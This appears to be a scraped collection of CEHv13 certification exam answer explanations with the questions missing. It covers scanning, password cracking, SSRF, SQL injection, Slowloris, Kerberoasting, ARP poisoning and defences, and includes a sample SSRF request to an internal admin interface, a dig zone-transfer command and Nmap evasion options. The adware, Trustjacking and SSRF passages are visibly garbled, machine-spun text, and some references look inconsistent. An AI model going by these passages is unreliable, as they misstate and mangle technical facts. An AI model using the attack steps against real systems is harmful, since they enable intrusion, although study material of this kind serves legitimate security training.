312-50v13 Certified Ethical Hacker Exam (CEHv13) Question and Answers

Types of Password Attacks - Active Online Attacks: Internal Monologue Attack Attackers perform an internal monologue(獨自) attack using SSPI (Security Support Provider Interface) from a user-mode application, where a local procedure call to the NTLM authentication package is invoked to calculate the NetNTLM response in the context of the logged-on user.Attacker disables the security controls of NetNTLMv1, extracts all the non-network logon tokens from all the active processes to masquerade as legitimate users. (P.594/578)

Weaknesses of LM hashes include:

A. Passwords are converted to uppercase before hashing.

B. In older Windows systems, LM hashes were transmitted over the network, sometimes in plaintext (or easily intercepted).

D. Passwords are split into two 7-character chunks, which are hashed independently, reducing entropy.

From CEH v13 Courseware:

Module 6: Malware and Password Threats

Module 4: Windows Enumeration

Incorrect Option:

C: LM uses DES encryption with 56-bit keys (not 32-bit).

The TCP SYN scan, also known as a Stealth Scan, is emphasized in CEH v13 Network Scanning as the most effective balance between accuracy and stealth. It sends a SYN packet and analyzes the response without completing the TCP handshake.

Because the connection is never fully established, SYN scans are less likely to be logged by applications and are harder for IDS systems to detect compared to TCP Connect scans.

FIN and ACK scans are used for firewall rule mapping and evasion, but they do not reliably enumerate services. TCP Connect scans are noisy and easily detected. Therefore, Stealth (SYN) Scan is the best choice.

In CEH v13 Module 03: Scanning Networks, Nmap's evasion techniques are discussed for bypassing or confusing Intrusion Detection Systems (IDS) and firewalls.

The -D option in Nmap is used to enable decoy scanning. It inserts false IP addresses in the scan to obfuscate the true origin of the scan.

This technique helps in masking the attacker’s IP and can confuse IDS logs.

Option Clarification:

A. -n/-R: Disables DNS resolution (-n) or uses reverse DNS (-R), does not evade detection.

B. -0N/-0X/-0G: Output formats (normal, XML, grepable), not related to evasion.

C. -T: Controls timing (e.g., -T0 is stealthy, -T5 is aggressive), but not explicitly for IDS evasion.

D. -D: Correct. Used for IDS/firewall evasion by using decoy IPs.

Comprehensive and Detailed Explanation:

The netstat (network statistics) command is used to display:

Current TCP/UDP connections

Listening ports

Routing tables

Interface statistics

This is one of the most common tools for network troubleshooting and monitoring on Windows and Linux.

From CEH v13 Courseware:

Module 3: Scanning Networks → System and Network Utilities

Server-side request forgery (also called SSRF) is a net security vulnerability that allows an assaulter to induce the server-side application to make http requests to associate arbitrary domain of the attacker’s choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services among the organization’s infrastructure, or to external third-party systems.

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with different back-end systems that aren’t directly reachable by users. These systems typically have non-routable private informatics addresses. Since the back-end systems normally ordinarily protected by the topology, they typically have a weaker security posture. In several cases, internal back-end systems contain sensitive functionality that may be accessed while not authentication by anyone who is able to act with the systems.

In the preceding example, suppose there’s an body interface at the back-end url https://192.168.0.68/admin. Here, an attacker will exploit the SSRF vulnerability to access the executive interface by submitting the following request:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

stockApi=http://192.168.0.68/admin

A multihomed firewall refers to a firewall with two or more network interfaces (NICs), each connected to different network segments. The purpose of a multihomed firewall is to allow filtering and segmentation of traffic between multiple network zones, such as:

External network (e.g., Internet)

Internal network (e.g., LAN)

To qualify as multihomed, the system must have at least two network interfaces. This allows it to sit between two networks and inspect/filter traffic passing through it.

Reference – CEH v13 Official Study Guide:

Module 13: Evading IDS, Firewalls, and Honeypots

Section: Firewall Architecture

Quote:

“A multihomed firewall is a system with two or more NICs connected to different networks, typically used to control traffic between internal and external networks. The minimum number of interfaces is two.”

Incorrect Options Explained:

A. 3 interfaces may be used in advanced setups (e.g., with a DMZ), but not the minimum.

B & C. 4 or 5 connections are not required unless designing more complex segmentation.

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CEH v13 identifies automated patch management as the most secure and scalable approach. Automated tools ensure timely deployment, validation, rollback capability, and compliance reporting.

Manual patching increases human error. Applying patches from unknown sources introduces malware risk. Limiting patches contradicts best practices.

Therefore, Option B is correct.

CEH v13 distinguishes between vertical and horizontal privilege escalation. Vertical escalation occurs when an attacker moves upward in the hierarchy of privileges—such as from a regular user to an administrator or root—by exploiting vulnerabilities, misconfigurations, or insecure privilege boundaries. This allows the attacker to perform tasks that were previously restricted, such as modifying system settings, accessing sensitive data, installing malware, or controlling the entire environment. Horizontal escalation, on the other hand, involves accessing another user’s resources at the same privilege level, which the other options describe. Exploiting unquoted service paths or weak access controls may facilitate privilege abuse, but they do not inherently elevate the user to a higher privilege tier unless they specifically lead to administrative execution. The scenario that aligns perfectly with the CEH definition of vertical privilege escalation is the escalation from regular user to administrator.

An HTTP Flood attack is an Application Layer (Layer 7) DDoS attack, as defined in CEH v13. In this attack, the adversary sends a massive number of seemingly legitimate HTTP GET or POST requests to exhaust server resources such as CPU, memory, and application threads.

CEH v13 emphasizes that HTTP floods are difficult to detect because they mimic normal user behavior and often bypass traditional network-layer defenses.

Other attacks operate at lower layers:

ICMP, UDP, and SYN floods target network and transport layers.

White-hat hackers perform security assessments with authorization. CEH defines ethical hacking as legal, structured testing of network defenses with the goal of improving security rather than causing harm.

Adware, or advertising supported computer code, is computer code that displays unwanted advertisements on your pc. Adware programs can tend to serve you pop-up ads, will modification your browser’s homepage, add spyware and simply bombard your device with advertisements. Adware may be a additional summary name for doubtless unwanted programs. It’s roughly a virulent disease and it’s going to not be as clearly malicious as a great deal of different problematic code floating around on the net. create no mistake concerning it, though, that adware has to return off of no matter machine it’s on. Not solely will adware be extremely annoying whenever you utilize your machine, it might additionally cause semipermanent problems for your device.

Adware a network users the browser to gather your internet browsing history so as to ’target’ advertisements that appear tailored to your interests. At their most innocuous, adware infections square measure simply annoying. as an example, adware barrages you with pop-up ads that may create your net expertise markedly slower and additional labor intensive.

The scenario describes a hybrid encryption solution based on the OpenPGP standard that uses both symmetric and asymmetric encryption. The key phrase in the question is “a free implementation of the OpenPGP standard,” which directly refers to GPG.

GPG (GNU Privacy Guard) is a free, open-source implementation of the OpenPGP standard.

It combines symmetric encryption for data encryption (fast and efficient) and asymmetric encryption for secure key exchange (using public/private key pairs).

GPG is widely used to secure emails, files, and messages, often in conjunction with tools like Thunderbird or command-line utilities.

Incorrect Options:

A. PGP (Pretty Good Privacy) is the original proprietary implementation of OpenPGP, not free/open-source by default.

B. S/MIME (Secure/Multipurpose Internet Mail Extensions) is another email encryption standard but does not implement OpenPGP.

C. SMTP (Simple Mail Transfer Protocol) is a mail transport protocol, not an encryption method.

Reference – CEH v13 Official Courseware:

Module 20: Cryptography

Section: “Hybrid Encryption and Email Encryption Tools”

Subsection: “GPG and OpenPGP-Based Encryption”

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Spear-phishing is a targeted form of phishing that uses personalized and context-rich information to increase credibility. CEH emphasizes that referencing specific internal projects, financial data, or organizational events significantly raises the success rate when attacking high-value targets such as executives. This tailored approach avoids suspicion and exploits trust more effectively than broad or generic phishing attempts.

A hybrid attack combines a dictionary and brute-force approach. Given that:

Passwords are required to be complex

Users still often choose predictable variations (e.g., Password123!, Welcome@2024)

A hybrid attack is best suited because it applies common mutations to known words—much faster than full brute force and more effective than a plain dictionary attack.

From CEH v13 Courseware:

Module 6: Password Cracking → Attack Techniques

CEH v13 Study Guide states:

“Hybrid attacks combine the speed of dictionary attacks with some of the thoroughness of brute-force. It’s ideal when users use complex but predictable passwords.”

Incorrect Options:

A: Online attacks are slow and may trigger account lockouts.

B: Plain dictionary attacks won’t cover variations like “P@ssw0rd!”

C: Brute-force would be too slow for complex passwords.

Time-based blind SQL injection is used when applications suppress error messages and do not display query results. According to CEH v13, attackers rely on response time delays to infer whether injected SQL statements are executed.

The BENCHMARK() function forces the database to perform a CPU-intensive operation repeatedly, causing a noticeable delay if the injected condition is executed successfully. Option D explicitly introduces such a delay and is a textbook time-based blind SQL injection payload.

Options A, B, and C are used for union-based or boolean-based SQL injection and rely on visible output or content changes, which are ineffective in blind scenarios.

CEH v13 clearly states that time-delay functions such as SLEEP(), WAITFOR DELAY, and BENCHMARK() are the primary indicators for time-based blind SQL injection testing. Hence, Option D is correct.

This question focuses on API Security, Webhooks abuse, and Webshell mitigation, all of which are addressed in the CEH v13 Web Application Hacking and Security Operations modules. The most appropriate corrective action is Option D, as it directly addresses the root causes and persistence mechanisms of the compromise.

According to CEH v13, attackers frequently exploit improper input validation in APIs and insecure webhook implementations to inject malicious payloads or gain remote command execution. Webhooks, when not properly validated, can accept malicious requests that trigger backend processes, making them a common vector for API abuse.

Input validation on all API endpoints is critical to prevent injection attacks, including command injection and SQL injection. CEH v13 explicitly emphasizes validating request parameters, headers, and payload structures to prevent malicious manipulation.

Reviewing webhook payloads ensures that only trusted sources can trigger automated actions, preventing attackers from abusing webhook functionality. This includes validating signatures, enforcing authentication, and restricting allowed payload formats.

Finally, regular scanning for webshells is essential because webshells provide persistent backdoor access. CEH v13 identifies webshell detection as a key defensive measure during incident response and post-exploitation containment.

Other options are incomplete:

A WAF alone cannot detect all webshells.

IP blocking is ineffective against spoofed or cloud-based attacks.

MFA and server hardening are valuable but do not directly address webhook abuse or existing webshells.

Therefore, Option D provides the most comprehensive, CEH v13–aligned mitigation strategy.

Cloud-based antivirus relies on data collected from endpoint devices and sends that data to cloud servers for real-time malware analysis. This allows rapid updates and detection of new threats without waiting for local signature updates.

📘 Reference – CEH v13 Official Study Guide, Module 20: Cryptography and Malware

“Cloud-based detection systems analyze suspicious files and behaviors in the provider’s environment, enabling faster response and reduced endpoint resource usage.”

❌ Incorrect options:

A. Behavioral-based detection monitors live activity locally.

B. Heuristic-based detection uses rules or behavior patterns locally.

C. Honeypots are decoys for detecting attackers, not antivirus methods.

Comprehensive and Detailed Explanation:

An Information Security Policy (ISP) is a high-level document that defines:

What employees can and cannot do with IT systems.

What data is protected and how.

The consequences of policy violations.

The company's commitment to security.

It must be signed by users to enforce compliance and protect organizational assets.

From CEH v13 Courseware:

Module 20: Information Security Policies

Module 1: Governance, Risk, and Compliance

The described attack is a Downgrade Security Attack. In this scenario:

The legitimate client and access point support both WPA2 and WPA3.

The attacker introduces a rogue AP that only supports WPA2.

The victim connects to this rogue AP using WPA2 (less secure) instead of WPA3.

Once downgraded, the attacker captures the handshake and attempts to crack the WPA2 encryption.

This is known as a “Downgrade Attack” or “Downgrade Negotiation Attack,” which exploits backward compatibility in security protocols.

Incorrect Options:

A. Timing-based attacks usually refer to side-channel analysis, not protocol downgrading.

B. Side-channel attacks extract info via timing, power usage, etc., not protocol negotiation.

D. Cache-based attacks exploit memory caching behavior.

Reference – CEH v13 Official Courseware:

Module 16: Hacking Wireless Networks

Section: “Wireless Encryption Attacks”

Subsection: “Downgrade Attacks (WPA3 to WPA2) and Rogue Access Points”

Comprehensive and Detailed Explanation:

The OpenSSL command-line utility s_client is used to test SSL/TLS connections.

Correct syntax:

openssl s_client -connect www.website.com:443

This command will initiate a TLS connection to port 443 on the given domain and allow you to inspect certificates, cipher suites, and server responses.

From CEH v13 Courseware:

Module 12: Cryptography → SSL/TLS Testing Tools

CEH identifies spear-phishing as a targeted, context-rich social engineering method tailored to specific individuals or departments. By incorporating accurate insider details, attackers significantly increase trust and likelihood of disclosure.

A DMZ (Demilitarized Zone) is a physical or logical subnet that separates an internal local area network (LAN) from untrusted networks—typically the Internet. It allows an organization to provide external-facing services while isolating internal systems from direct exposure.

From CEH v13 Official Courseware:

Module 13: Hacking Web Applications

Module 14: Hacking Web Servers

Module 1: Introduction to Ethical Hacking – Security Architecture Concepts

CEH v13 clearly outlines:

“A DMZ is critical when deploying Internet-facing servers such as web servers, FTP servers, or mail servers. It provides a buffer zone that allows public access to specific resources while keeping the internal network isolated.”

Bob’s assumption is flawed for several reasons:

DMZs can be implemented even with stateless firewalls using strict access control rules.

Relying solely on IP-based filtering is error-prone and doesn’t offer layered defense.

A DMZ provides an essential layer of segmentation, protecting internal assets from compromised public servers.

Incorrect Options:

A/D: DMZ can still make sense even with stateless firewalls if properly configured.

B: IP filtering is insufficient as a sole security measure; does not replace the need for network segmentation.

According to CEH v13 Security Operations and Incident Response, backdoors are stealth mechanisms that allow attackers persistent access. Indicators such as unexplained outbound traffic, unauthorized file modifications, and irregular reboots strongly suggest post-compromise persistence mechanisms.

CEH v13 recommends a behavioral and host-based detection approach for backdoor identification. Continuous monitoring of system and file activity helps detect unauthorized binaries, registry changes, and scheduled tasks. Anomaly detection identifies deviations from normal system behavior, which is critical for uncovering hidden backdoors that evade signature-based detection.

Additionally, advanced anti-malware tools with heuristic and memory analysis capabilities are essential to identify sophisticated backdoors that traditional antivirus may miss. These tools can detect rootkits, fileless persistence, and covert communication channels.

The other options are preventative but not investigative. Immediate reboots may destroy volatile evidence, while password policies and ACLs do not detect existing compromises. Therefore, option B provides the most effective and CEH-aligned response.

A NULL scan is a type of TCP scan where no TCP flags are set in the packet. This unconventional packet is used to evade firewalls and intrusion detection systems and to determine the state of a port based on the response.

Behavior:

Open port → No response

Closed port → RST (Reset)

From CEH v13 Courseware:

Module 3: Scanning Networks

Topic: TCP Flag Scanning Methods

CEH v13 Study Guide states:

“A NULL scan sends a TCP packet with all flags turned off. The system’s response (or lack thereof) allows the attacker to infer whether a port is open or closed, especially on UNIX-based systems.”

Incorrect Options:

B: Vague and inaccurate

C: Refers to Xmas scan (URG, PSH, FIN)

D/E: Irrelevant to TCP flags

1. AV (Asset value) = $300 + (14 * $10) = $440 - the cost of a hard drive plus the work of a recovery person, i.e.how much would it take to replace 1 asset? 10 hours for resorting the OS and soft + 4 hours for DB restore multiplies by hourly rate of the recovery person.

2. SLE (Single Loss Expectancy) = AV * EF (Exposure Factor) = $440 * 1 = $440

3. ARO (Annual rate of occurrence) = 1/3 (every three years, meaning the probability of occurring during 1 years is 1/3)

4. ALE (Annual Loss Expectancy) = SLE * ARO = 0.33 * $440 = $145.2

This scenario describes a worm infection, as defined in CEH v13 Malware Threats. Worms are self-replicating malware that spread autonomously across networks without user interaction. Their propagation often results in excessive network traffic, system crashes, and resource exhaustion, which aligns with the symptoms described.

CEH v13 differentiates worms from other malware:

Ransomware encrypts data but does not self-propagate aggressively.

Trojans require user execution.

Rootkits focus on stealth and persistence rather than replication.

The appropriate response prioritizes containment and eradication. Quarantining affected systems prevents further spread. A network-wide antivirus sweep with updated signatures removes known worm variants. Updating operating systems closes vulnerabilities that worms exploit for propagation.

CEH v13 stresses rapid isolation and patching as critical measures to control worm outbreaks and restore network stability. Therefore, Option A is correct.

Zone transfers (AXFR) are DNS operations that replicate zone data from a primary server to a secondary server. These can be abused during DNS enumeration if improperly secured.

CEH v13 recommends using the following tools for attempting or testing zone transfers:

A. NSLookup – supports AXFR using set type=any or set type=AXFR

C. Dig – dig @ns.example.com example.com AXFR

D. Sam Spade – GUI tool capable of DNS zone transfer

E. Host – command-line tool used for DNS lookups and AXFR

Incorrect Tools:

B. Finger – used for user enumeration, not DNS

F. Netcat – general-purpose networking tool, not specific to DNS

G. Neotrace – used for traceroute/path tracing, not DNS

According to CEH v13 Module 09: Social Engineering, both pharming and phishing are forms of fraud that direct users to malicious websites. However, their techniques differ:

Pharming involves modifying DNS entries or the victim's host file to silently redirect users to a malicious site without needing user interaction.

Phishing involves sending links via emails or messages where the URL is visually deceptive (misspelled, similar domain names, homoglyph attacks).

Digital signatures are designed to provide two key guarantees:

Authenticity – confirming the identity of the sender.

Unforgeability – ensuring that no one else can produce the same signature without the sender’s private key.

These properties are achieved using a combination of hash functions and asymmetric encryption (digital certificates/private keys).

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“A valid digital signature ensures that the message comes from a legitimate sender (authenticity) and has not been altered or forged (unforgeability).”

Incorrect Options:

A, C, D: Refer to human/visual signatures, not cryptographic properties

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Developed by Robert “RSnake” Hansen, Slowloris is DDoS attack software that permits one computer to require down an internet server. Due the straightforward yet elegant nature of this attack, it requires minimal bandwidth to implement and affects the target server’s web server only, with almost no side effects on other services and ports.

Slowloris has proven highly-effective against many popular sorts of web server software, including Apache 1.x and 2.x.

Over the years, Slowloris has been credited with variety of high-profile server takedowns. Notably, it had been used extensively by Iranian ‘hackivists’ following the 2009 Iranian presidential election to attack Iranian government internet sites .

Slowloris works by opening multiple connections to the targeted web server and keeping them open as long as possible. It does this by continuously sending partial HTTP requests, none of which are ever completed. The attacked servers open more and connections open, expecting each of the attack requests to be completed.

Periodically, the Slowloris sends subsequent HTTP headers for every request, but never actually completes the request. Ultimately, the targeted server’s maximum concurrent connection pool is filled, and extra (legitimate) connection attempts are denied.

By sending partial, as against malformed, packets, Slowloris can easily elapse traditional Intrusion Detection systems.

Named after a kind of slow-moving Asian primate, Slowloris really does win the race by moving slowly and steadily. A Slowloris attack must await sockets to be released by legitimate requests before consuming them one by one.

For a high-volume internet site , this will take a while . the method are often further slowed if legitimate sessions are reinitiated. But within the end, if the attack is unmitigated, Slowloris—like the tortoise—wins the race.

If undetected or unmitigated, Slowloris attacks also can last for long periods of your time . When attacked sockets outing , Slowloris simply reinitiates the connections, continuing to reach the online server until mitigated.

Designed for stealth also as efficacy, Slowloris are often modified to send different host headers within the event that a virtual host is targeted, and logs are stored separately for every virtual host.

More importantly, within the course of an attack, Slowloris are often set to suppress log file creation. this suggests the attack can catch unmonitored servers off-guard, with none red flags appearing in log file entries.

Methods of mitigation

Imperva’s security services are enabled by reverse proxy technology, used for inspection of all incoming requests on their thanks to the clients’ servers.

Imperva’s secured proxy won’t forward any partial connection requests—rendering all Slowloris DDoS attack attempts completely and utterly useless.

To ensure both confidentiality and non-repudiation for secure email communication, you need to use a combination of symmetric and asymmetric cryptography. Symmetric encryption is a method of encrypting and decrypting data using the same secret key, which is faster and more efficient than asymmetric encryption. Asymmetric encryption is a method of encrypting and decrypting data using a pair of keys: a public key and a private key, which are mathematically related but not identical. Asymmetric encryption can provide authentication, integrity, and non-repudiation, as well as key distribution.

The cryptographic technique that would best serve the purpose is to apply asymmetric encryption with RSA and use the private key for signing. RSA is a widely used algorithm for asymmetric encryption, which is based on the difficulty of factoring large numbers. RSA can be used to encrypt data, as well as to generate digital signatures, which are a way of proving the identity and authenticity of the sender and the integrity of the message.

The steps to implement this technique are as follows1:

Generate a pair of keys for each user: a public key and a private key. The public key can be shared with anyone, while the private key must be kept secret and protected by the user.

When a user wants to send an email to another user, they first encrypt the email content with a symmetric key, such as AES, which is a strong and efficient algorithm for symmetric encryption. The symmetric key is then encrypted with the recipient’s public key, using RSA. The encrypted email and the encrypted symmetric key are then sent to the recipient.

The sender also generates a digital signature for the email, using their private key and a hash function, such as SHA-256, which is a secure and widely used algorithm for generating hashes. A hash function is a mathematical function that takes any input and produces a fixed-length output, called a hash or a digest, that uniquely represents the input. A digital signature is a hash of the email that is encrypted with the sender’s private key, using RSA. The digital signature is then attached to the email and sent to the recipient.

When the recipient receives the email, they first decrypt the symmetric key with their private key, using RSA. They then use the symmetric key to decrypt the email content, using AES. They also verify the digital signature by decrypting it with the sender’s public key, using RSA, and comparing the resulting hash with the hash of the email, using the same hash function. If the hashes match, it means that the email is authentic and has not been tampered with.

Using this technique, the email communication is secure because:

The confidentiality of the email content is ensured by the symmetric encryption with AES, which is hard to break without knowing the symmetric key.

The symmetric key is also protected by the asymmetric encryption with RSA, which is hard to break without knowing the recipient’s private key.

The non-repudiation of the email is ensured by the digital signature with RSA, which is hard to forge without knowing the sender’s private key.

The digital signature also provides authentication and integrity of the email, as it proves that the email was sent by the sender and has not been altered in transit.

https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-and-false-negatives/

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn’t. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they’re dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

The described method is a classic example of a Side-Channel Attack, specifically a Timing Attack.

Key characteristics:

It exploits variations in response time from a system to infer sensitive information, such as the correct number of characters in a password.

In this scenario, if a correct character causes a longer processing time, the attacker can deduce the correct sequence iteratively.

According to CEH v13:

Side-channel attacks do not directly break encryption but rely on observing system behavior like timing, power consumption, or electromagnetic leaks.

These attacks are effective against poorly implemented authentication mechanisms or embedded systems like ICS/SCADA.

Incorrect Options:

B. Denial-of-service is aimed at making systems unavailable, not extracting credentials.

C. HMI-based attacks involve manipulating the human-machine interface of ICS systems.

D. Buffer overflow exploits memory handling flaws, not timing behavior.

Reference – CEH v13 Official Courseware:

Module 20: Cryptography

Section: “Cryptanalysis and Side-Channel Attacks”

Subsection: “Timing Attacks and Password Recovery”

A Kerberoasting attack is a technique that exploits the weak encryption of Kerberos service tickets to obtain the password hashes of service accounts that have a Service Principal Name (SPN) associated with them. The attacker can then crack the hashes offline and use the plaintext passwords to impersonate the service accounts and access network resources.

A Kerberoasting attack follows these steps1:

The attacker impersonates a legitimate Active Directory user and authenticates to the Key Distribution Center (KDC) in the Active Directory environment. They then request a Ticket Granting Ticket (TGT) from the KDC to access network resources. The KDC complies because the attacker is impersonating a legitimate user.

The attacker enumerates the service accounts that have an SPN using tools like GetUserSPNs.py or PowerView. They then request a service ticket for each SPN from the KDC using their TGT. The KDC grants the service tickets, which are encrypted with the password hashes of the service accounts.

The attacker captures the service tickets and takes them offline. They then attempt to crack the password hashes using tools like Hashcat or John the Ripper. They can use various methods, such as brute force, dictionary, or hybrid attacks, to guess the passwords. Alternatively, they can use a PRINCE attack, which is a probabilistic password generation technique that combines common words, patterns, and transformations to generate likely passwords2.

Once the attacker obtains the plaintext passwords of the service accounts, they can use them to authenticate as the service accounts and access the network resources that they are authorized to.

Therefore, the next step that the analyst should take after obtaining a valid TGT is to request a service ticket for the SPN of the target service account. This will allow them to capture the service ticket and extract the password hash of the service account.

According to CEH v13 Cloud Computing, improper identity and access management (IAM) is one of the most common causes of cloud security incidents. When former employees retain access to cloud resources, it represents a failure in user lifecycle management, specifically in the de-provisioning phase.

Timely user de-provisioning ensures that when an employee leaves the organization or changes roles, all associated access rights—API keys, IAM roles, credentials, tokens, and permissions—are immediately revoked. CEH v13 emphasizes that cloud environments magnify this risk because access is often centralized and remote, meaning former employees can access systems from anywhere.

Options A, B, and C are supportive security practices but do not directly address the root cause. Multi-cloud models do not prevent unauthorized access. Traffic analysis may detect misuse after the fact but does not prevent it. Penetration testing identifies vulnerabilities but does not manage user access.

CEH v13 explicitly identifies timely de-provisioning as a critical cloud security control to prevent insider threats, privilege abuse, and compliance violations. Therefore, Option D is the correct answer.

Comprehensive and Detailed Explanation:

Wireshark on Windows requires WinPcap to operate. WinPcap is a packet capture library that allows network interfaces to operate in promiscuous mode, which is essential for sniffing traffic.

From CEH v13 Courseware:

Module 8: Sniffing → Sniffing Tools → WinPcap for Windows

An iPhone client’s most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without waiting be in a similar room. In this blog entry, we present another weakness called “Trustjacking”, which permits an aggressor to do precisely that.

This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall comparative assaults.

After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak with the iOS gadget by means of the standard iTunes APIs.

This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another affirmation from the client and with no recognizable sign. Besides, this permits enacting the “iTunes Wi-Fi sync” highlight, which makes it conceivable to proceed with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar organization. It is intriguing to take note of that empowering “iTunes Wi-Fi sync” doesn’t need the casualty’s endorsement and can be directed simply from the PC side.

Getting a live stream of the gadget’s screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.

It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that forestalls this proceeded with access. Likewise, there isn’t anything that informs the clients that by approving the PC they permit admittance to their gadget even in the wake of detaching the USB link.

Vulnerability scanning solutions perform vulnerability penetration tests on the organizational network in three steps:

1. Locating nodes: The first step in vulnerability scanning is to locate live hosts in the target network using various scanning techniques.

2. Performing service and OS discovery on them: After detecting the live hosts in the target network, the next step is to enumerate the open ports and services and the operating system on the target systems.

3. Testing those services and OS for known vulnerabilities: Finally, after identifying the open services and the operating system running on the target nodes, they are tested for known vulnerabilities.

CEH v13 outlines insertion attacks as IDS evasion methods in which attackers send packets deliberately crafted so that the IDS processes them differently from the target host. In an insertion attack, malformed packets appear legitimate to the IDS—allowing malicious traffic to blend with benign inspection results—while the end host rejects or modifies the packets due to incorrect checksums, invalid flags, or protocol inconsistencies. As a result, the IDS sees one set of reconstructed data, while the actual host processes a different version or nothing at all. CEH emphasizes that intrusion detection systems may not follow full TCP/IP stack validation, making them susceptible to deception by malformed or borderline-conformant packets. Polymorphic shellcode (Option B) changes payload signatures, not packet structure. Session splicing (Option C) splits payload across packets to evade pattern matching but does not rely on checksum manipulation. Fragmentation attacks (Option D) divide traffic into smaller fragments, not alter validity fields. The described behavior fits insertion attacks precisely.

Comprehensive and Detailed Explanation:

ARP Poisoning (Address Resolution Protocol Poisoning) is a classic Man-in-the-Middle (MiTM) attack in a LAN environment. It works by sending fake ARP replies to devices on a network to associate the attacker’s MAC address with the IP address of another host (typically the default gateway). As a result:

Network traffic meant for the gateway is sent to the attacker instead.

The attacker can then intercept, modify, or forward the traffic to the actual destination, performing a full MiTM.

This allows the attacker to:

Sniff sensitive data (e.g., credentials, emails)

Hijack sessions

Inject malicious payloads

From CEH v13 Courseware:

Module 8: Sniffing

Topic: MiTM Attacks → ARP Spoofing Techniques

Incorrect Options:

A. Password Sniffing is a result of MiTM but not a technique itself.

C. MAC Flooding is a switch attack that floods the CAM table to make the switch act like a hub.

D. DHCP Sniffing relates to capturing DHCP messages but is not commonly used for MiTM.

The Mirai malware primarily targets Internet of Things (IoT) devices with weak or default credentials. Once infected, these devices become part of a botnet that the attacker controls remotely. The primary use of Mirai botnets is to perform Distributed Denial of Service (DDoS) attacks.

DDoS attacks flood a target (server, application, or network) with massive traffic, overwhelming resources and causing service outages.

Mirai gained infamy after being used in large-scale DDoS attacks, including against DNS provider Dyn, which caused widespread internet outages.

Incorrect Options:

A. MITM attacks involve intercepting communications.

B. Birthday attacks are cryptographic hash collision techniques.

D. Password attacks refer to credential brute-forcing; although Mirai uses default credentials, its main attack vector is DDoS.

Reference – CEH v13 Official Courseware:

Module 18: IoT and OT Hacking

Section: “IoT Malware”

Subsection: “Mirai Botnet and Real-World Attacks”

CEH Engage: IoT Botnet Simulation

=

This scenario represents a Botnet-Based Distributed Denial-of-Service (DDoS) attack, as described in CEH v13 Network Attacks. Compromised internal devices become part of a botnet and are used to launch attacks against external targets.

CEH v13 notes that botnets frequently include IoT devices and employee workstations, making insider-originated DDoS activity a serious concern.

Well-known and widely used password-cracking tools include:

A. L0phtcrack – Windows password auditing tool that can crack LM and NTLM hashes.

E. John the Ripper – Versatile password cracker that supports many hash types on Unix, Windows, etc.

Incorrect Options:

B. NetCat – A network tool used for port scanning and data transfer.

C. “Jack the Ripper” is likely a mistaken reference to John the Ripper.

D. Netbus – A remote access Trojan, not a password cracker.

From CEH v13 Courseware:

Module 6: Password Cracking Tools

In an SOA (Start of Authority) record, the fifth value represents the “Expire” interval — the time a secondary DNS server will keep trying to contact the primary server before considering the zone data stale or invalid.

SOA Format:

SOA Primary-NS Hostmaster (Serial Refresh Retry Expire Minimum-TTL)

Given SOA:

(200302028 3600 3600 604800 3600)

Serial: 200302028

Refresh: 3600 seconds

Retry: 3600 seconds

Expire: 604800 seconds = 7 days = 1 week

Minimum TTL: 3600

So, if the secondary DNS cannot contact the primary for 604800 seconds (1 week), it will stop serving that zone’s data.

When standard protections such as HTTPS, HTTP-only flags, and session regeneration are properly implemented, CEH teaches that predictable session identifiers become one of the few remaining avenues for session hijacking. Session token prediction involves analyzing entropy, randomness, or generation patterns within session IDs to mathematically infer future or valid tokens. If the application uses weak randomization algorithms, insufficient entropy sources, or predictable sequences, attackers may generate a valid session ID without direct interception. Techniques such as MitM interception or CSRF manipulation do not bypass strong transport-layer protections and cookie restrictions. Session fixation fails because the application regenerates the session ID upon login, invalidating pre-set identifiers. Therefore, the advanced and CEH-aligned method to hijack a protected session is predicting session IDs through side-channel or pattern analysis.

CEH v13 identifies Idle (Zombie) Scanning as one of the most stealthy reconnaissance techniques. In this method, attackers use a third-party system (the zombie) to send probes to the target, obscuring the attacker’s true identity.

Because the attacker never directly interacts with the target, detection and attribution become extremely difficult. FIN and Xmas scans are stealthy but still originate from the attacker’s IP. TCP connect scans are noisy and easily detected.

CEH v13 highlights idle scanning as the gold standard for stealth reconnaissance, making option D correct.

MAC flooding is a Layer 2 attack described in CEH v13 Network and Perimeter Hacking, where attackers overwhelm a switch’s CAM table with fake MAC addresses. Once the table is full, the switch behaves like a hub, forwarding traffic to all ports.

The most definitive indicator of MAC flooding is numerous MAC addresses learned on a single switch port, which is abnormal behavior in a properly segmented network. CEH v13 identifies this condition as a key forensic indicator of CAM table exhaustion.

ARP anomalies may occur, but they are more commonly associated with ARP spoofing attacks. IP-to-MAC inconsistencies indicate MITM attacks, not MAC flooding.

Thus, option C is the clearest confirmation.

The Certified Ethical Hacker (CEH) Web Application Security module emphasizes that client-side controls cannot be trusted.

Disabling JavaScript allows attackers to bypass:

Password complexity enforcement

CAPTCHA validation

Input validation logic

Option B is the simplest and most effective CEH-approved method.

Option A is unnecessary and noisy.

Option C risks detection.

Option D is effective but more complex and detectable.

CEH explicitly teaches testers to disable JavaScript to evaluate server-side enforcement.

https://us-cert.cisa.gov/ncas/alerts/TA18-201A

